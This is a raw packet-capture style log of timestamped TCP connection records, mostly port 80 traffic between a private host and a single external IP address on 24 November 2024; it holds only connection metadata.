Nov 24, 2024 08:44:10.468162060 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.468198061 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.468199015 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.468209982 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.468240976 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.468276024 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.468873024 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.468910933 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.468921900 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.468950987 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.468966961 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.469002008 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.469695091 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.469731092 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.469744921 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.469753981 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.469777107 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.469826937 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.470472097 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.470545053 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.470555067 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.470583916 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.470609903 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.470746040 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.471254110 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.471322060 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.471333027 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.471380949 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.471602917 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.471602917 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.472047091 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.472103119 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.472115040 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.472132921 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.472170115 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.472197056 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.491360903 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.491393089 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.491405010 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.491430044 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.491463900 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.491506100 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.508816004 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.508853912 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.508865118 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.508872986 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.508908987 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.508929968 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.509175062 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.509227991 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.509238958 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.509322882 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.509335995 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.509960890 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.510032892 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.510044098 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.510083914 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.510117054 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.510119915 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.510941029 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.510952950 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.510965109 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.510976076 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.510994911 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.511030912 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.511518002 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.511565924 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.511578083 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.511610031 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.511626005 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.511672020 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.512415886 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.512490034 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.512501955 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.512542963 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.512603045 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.513149023 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.513160944 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.513170958 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.513199091 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.513211966 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.513230085 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.513861895 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.513911009 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.513921976 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.513933897 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.513981104 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.514031887 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.514642000 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.514688969 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.514698029 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.514700890 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.514746904 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.514821053 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.515520096 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.515548944 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.515559912 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.515582085 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.515600920 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.515654087 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.516242027 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.516279936 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.516289949 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.516290903 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.516334057 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.516386986 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.517014980 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.517033100 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.517043114 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.517060995 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.517091036 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.517117023 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.517855883 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.517891884 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.517903090 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.517906904 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.517944098 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.517971992 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.518559933 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.518616915 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.518627882 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.518665075 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.518687963 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.518764973 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.519412041 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.519428968 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.519443035 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.519450903 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.519476891 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.519515991 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.520140886 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.520184040 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.520186901 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.520199060 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.520221949 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.520239115 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.572813988 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.624950886 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.624974966 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.624986887 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.625020027 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.625030994 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.625067949 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.625078917 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.625091076 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.625102043 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.625125885 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.625395060 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.625406981 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.625443935 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.625526905 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.625539064 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.625550985 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.625561953 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.625571966 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.625574112 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.625593901 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.625614882 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.643368006 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.643415928 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.643428087 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.643450975 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.643479109 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.643485069 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.643496037 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.643518925 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.643547058 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.643626928 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.643640041 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.643651009 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.643667936 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.643681049 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.643690109 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.643695116 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.643707991 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.643717051 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.643738031 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.644443035 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.644537926 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.644582033 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.644762039 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.644773006 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.644809961 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.646373987 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.646385908 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.646433115 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.646450043 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.646461010 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.646471977 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.646485090 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.646496058 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.646511078 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.646511078 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.646513939 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.646526098 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.646538019 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.646548033 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.646570921 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.646797895 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.646809101 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.646821022 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.646866083 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.646939993 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.646950960 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.646961927 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.646972895 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.646985054 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.646992922 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.646997929 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.647011042 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.647020102 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.647038937 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.647181034 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.647198915 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.647209883 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.647219896 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.647237062 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.647248030 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.647249937 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.647260904 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.647263050 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.647273064 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.647283077 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.647285938 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.647295952 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.647300005 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.647325039 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.647766113 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.647778034 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.647789001 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.647825003 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.647860050 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.647875071 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.647891998 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.647902966 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.647914886 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.647927046 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.647928953 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.647953987 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.647963047 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.647968054 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.647984028 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.648794889 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.648916960 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.648927927 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.648940086 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.648951054 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.648958921 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.648963928 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.648977041 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.648988962 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.648999929 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.649004936 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.649014950 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.649035931 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.649055004 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.649630070 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.649667978 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.649687052 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.649699926 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.649740934 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.649749041 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.649760008 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.649772882 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.649785995 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.649796009 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.649817944 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.649888039 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.649899006 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.649910927 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.649947882 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.650532961 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.650583982 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.650594950 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.650608063 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.650620937 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.650640965 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.650641918 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.650669098 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.650680065 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.650705099 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.650723934 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.650898933 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.651221037 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.651235104 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.651269913 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.651886940 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.651899099 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.651916027 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.651926994 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.651931047 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.651938915 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.651952028 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.651957989 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.651964903 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.651982069 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.652009964 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.652020931 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.674108982 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.826195955 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.826268911 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.826282024 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.826359034 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.826387882 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.826407909 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.826420069 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.826428890 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.826433897 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.826458931 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.826522112 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.826534033 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.826545954 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.826560974 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.826581001 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.826616049 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.826627970 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.826666117 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.826952934 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.827054977 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.827090025 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.840168953 CET	443	49791	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:10.844994068 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.845113993 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.845124960 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.845179081 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.845268011 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.845314980 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.845326900 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.845351934 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.845379114 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.845407009 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.845418930 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.845431089 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.845443964 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.845453978 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.845478058 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.845480919 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.845489979 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.845503092 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.845515966 CET	80	49781	185.215.113.16	192.168.2.10
